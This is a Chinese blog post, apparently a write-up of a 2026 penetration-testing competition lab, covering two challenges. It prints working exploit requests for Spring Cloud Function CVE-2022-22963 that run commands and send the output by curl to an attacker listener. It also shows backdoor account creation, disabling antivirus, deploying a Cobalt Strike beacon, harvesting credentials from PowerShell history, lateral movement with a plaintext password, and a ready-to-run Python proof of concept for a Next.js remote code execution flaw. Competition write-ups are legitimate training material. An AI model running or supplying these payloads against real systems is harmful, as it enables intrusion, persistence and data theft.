26磐石行动渗透赛部分

作者:正在思考ing 发布:2026-09-07 16:14 收录:2026-09-07 16:50 5 次阅读 约 1272 字
摘要:根本抽不出时间来打😭白天摸鱼想远程结果电脑网还断了,晚上勉强打完一题,但是时间不够了。后续因为太累,就简单整理做出来的部分。
推荐理由:本文涵盖「磐石行动」、「渗透测试」、「Spring框架」等多个主题,重点关注 磐石行动。

根本抽不出时间来打😭白天摸鱼想远程结果电脑网还断了,晚上勉强打完一题,但是时间不够了。后续因为太累,就简单整理做出来的部分。

比赛第一题

外围打点

端口扫描发现存活的服务端口8080,访问之后进行一番指纹识别发现是spring框架,使用框架漏扫工具扫描

发现存在cve-2022-22963,接下来就开始payload检验,首先用sleep进行测试,发现回显非常慢,再修改参数为1测试发现立马回显,说明执行成功

POST /functionRouter HTTP/1.1
Host: 10.100.126.122:8080
Content-Type: text/plain
spring.cloud.function.routing-expression: T(java.lang.Thread).sleep(6000)

x

但是因为这里命令执行是无回显的,所有要进行外带,这里在vps上开一个监听端口,可以实时接收响应信息

socat -v TCP-LISTEN:9999,reuseaddr,fork -
POST /functionRouter HTTP/1.1
Host: 10.100.126.122:8080
Content-Type: text/plain
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(new String[]{"cmd.exe","/c","whoami > C:/x.txt 2>&1 & curl.exe -s -X POST --data-binary @C:/x.txt http://vps ip:9999/r"})
Content-Length: 3

123

这里我们将命令执行结果写在肉机的一个文件里,然后再去对vps发起请求,请求内容包含该文件里的执行结果,可以看到这里也是直接拿到了system权限

POST /functionRouter HTTP/1.1
Host: 10.100.126.122:8080
Content-Type: text/plain
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(new String[]{"cmd.exe","/c","dir c:\Users\Administrator\Desktop > C:/x.txt 2>&1 & curl.exe -s -X POST --data-binary @C:/x.txt http://vps ip:9999/r"})
Content-Length: 3

123

进行一波信息收集,在管理员的桌面上找到flag1

POST /functionRouter HTTP/1.1
Host: 10.100.126.122:8080
Content-Type: text/plain
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(new String[]{"cmd.exe","/c","type c:\Users\Administrator\Desktop\flag > C:/x.txt 2>&1 & curl.exe -s -X POST --data-binary @C:/x.txt http://vps ip:9999/r"})
Content-Length: 3

123

内网后渗透

创建后门

接着进入后渗透阶段,针对window主机,又是system权限,可以直接创建一个后门用户

net user hacker  P@ssw0rd123 /add
net localgroup administrators hacker /add
spring.cloud.function.routing-expressionT(java.lang.Runtime).getRuntime().exec(new String[]{"cmd.exe","/c","net user  > C:/x.txt 2>&1 & curl.exe -s -X POST --data-binary @C:/x.txt http://vps ip:9999/r"})

执行完之后使用net user进行验证发现确实成功添加后门用户hacker,下面可以直接rdp远程控制

进去之后把病毒防护关了,然后传入cs的beacon木马文件,运行之后上线

也可以用漏洞再次运行下该文件(利用漏洞rce的是system权限),这样就能得到system用户权限。之后用fscan扫下内网发下,内网里面还有一台主机172.16.0.13,开放了445端口,很有可能是后续利用的切入点

shell type C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

对肉机进行信息收集发现,在powershell的历史命令记录文件中发现管理员的登录密码,大胆猜测另一台主机的管理员登录密码也是一样的

横向移动

shell net use \\172.16.0.13\C$ /user:server-02\administrator 3rE7awMktj47

直接尝试去连接 IP 为 172.16.0.13的电脑的 C 盘隐藏共享。发现命令执行成功,接下来直接读取文件,位置和第一台主机中的flag地址一样

shell type \\172.16.0.13\C$\Users\Administrator\Desktop\flag

肉机里面也有远程连接功能,直接套娃远连172.16.0.13这台主机,然后传马,运行上线,对新主机进行信息收集,发现该主机有两个网卡,另一个网段中有172.17.0.33这台主机

用powershell命令进行端口扫描,发现第三台主机也开放3389端口,大胆猜测管理员密码和前两台一样的

shell powershell -NoP -c "$h='172.17.0.33'; foreach($p in @(21,22,23,80,135,139,443,445,3389,5985,3306,6379,8080,8888,9000)){ $c=New-Object Net.Sockets.TcpClient; $r=$c.BeginConnect($h,$p,$null,$null); $ok=$r.AsyncWaitHandle.WaitOne(1000,$false); if($ok -and $c.Connected){Write-Output ('OPEN:'+$p)}; $c.Close() }"

再次套娃远连,flag3也是在桌面上

比赛第二题

fscan.exe -h 10.100.212.5

300端口是开放的,访问发现nextjs,顶针一眼是去年年底的cve,扫描一下果真如此

# /// script
# dependencies = ["requests"]
# ///
import requests
import sys
import json

BASE_URL = sys.argv[1if len(sys.argv) > 1 else "http://10.100.212.5:3000/"
EXECUTABLE = sys.argv[2if len(sys.argv) > 2 else r"type c:\\Users\\Administrator\\Desktop\\flag"

crafted_chunk = {
    "then""$1:__proto__:then",
    "status""resolved_model",
    "reason"-1,
    "value"'{"then": "$B0"}',
    "_response": {
        "_prefix"f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
        # If you don't need the command output, you can use this line instead:
        # "_prefix": f"process.mainModule.require('child_process').execSync('{EXECUTABLE}');",
        "_formData": {
            "get""$1:constructor:constructor",
        },
    },
}

files = {
    "0": (None, json.dumps(crafted_chunk)),
    "1": (None'"$@0"'),
}

headers = {"Next-Action""x"}
res = requests.post(BASE_URL, files=files, headers=headers, timeout=10)
print(res.status_code)
print(res.text)

直接打poc获取flag。到这里比赛已经结束了,困得一笔,就没再继续往下打了。

转载声明:本文转载自原发布平台 (作者:正在思考ing), 原文标题《26磐石行动渗透赛部分》, 查看原文。 版权归原作者及原发布平台所有,本站仅作收录与展示,未对正文内容作实质性修改; 若涉及侵权请联系本站处理。